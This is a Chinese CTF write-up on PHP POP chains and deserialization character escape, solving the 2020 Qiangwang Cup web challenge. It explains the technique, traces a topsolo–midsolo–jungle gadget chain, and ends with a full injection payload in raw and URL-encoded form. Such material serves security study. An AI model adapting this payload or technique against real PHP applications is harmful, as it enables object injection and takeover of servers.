POP链
POP:面向属性编程
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
pop链的利用
以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
php反序列化字符逃逸
PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(数组、对象等类型);反序列化时,结尾后的字符串会被忽略掉,而且php反序列化的字符串只要符合规则,就能被反序列化回去,所以可以操作反序列化的字符串来给原来的对象增加属性。
假如我们上传的字符串先被serialize函数作用了一次,然后被一个函数作用,长度变长,又被unserizlize作用,这时候就会多出一部分,就可以通过多余的那部分给原来类中的属性赋值,可以赋值成另外的类的对象,通过原来程序代码执行来间接调用别的类的魔术方法。
2020强网杯web辅助
题目源码
解题
逃逸
程序在index.php处调用write(),将N*N替换成\0*\0
然后在play.php上读取结果,调用check()和read(),再把\0*\0替换成N*N
从\0*\0替换成N*N减少了2个字符,这样在play.php中反序列化时user字段的长度出现不符合的问题,每当user字段中的内容包含一个\0*\0,反序列化
时user的字段长度就比实际长度多2,利用这点,就可以在pass字段进行注入
pop链
通过class.php的源码看的出:
topsolo的__destruct触发他自己的TP()->TP()里面的$name调用midsolo触发midsolo的__invoke()->用Gank()触发jungle的__toString()->触发KS()获取flag
payload
username=xxxx\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a";s:8:"\0*\0admin";i:1;s:1:"a";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":2:{S:7:"\00*\00n\61me";s:3:"zzz";}}}}
编码后
username=xxxx\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a%22;s:8:%22\0*\0admin%22;i:1;s:1:%22a%22;O:7:%22topsolo%22:1:{S:7:%22\00*\00n\61me%22;O:7:%22midsolo%22:1:{S:7:%22\00*\00n\61me%22;O:6:%22jungle%22:2:{S:7:%22\00*\00n\61me%22;s:3:%22zzz%22;}}}}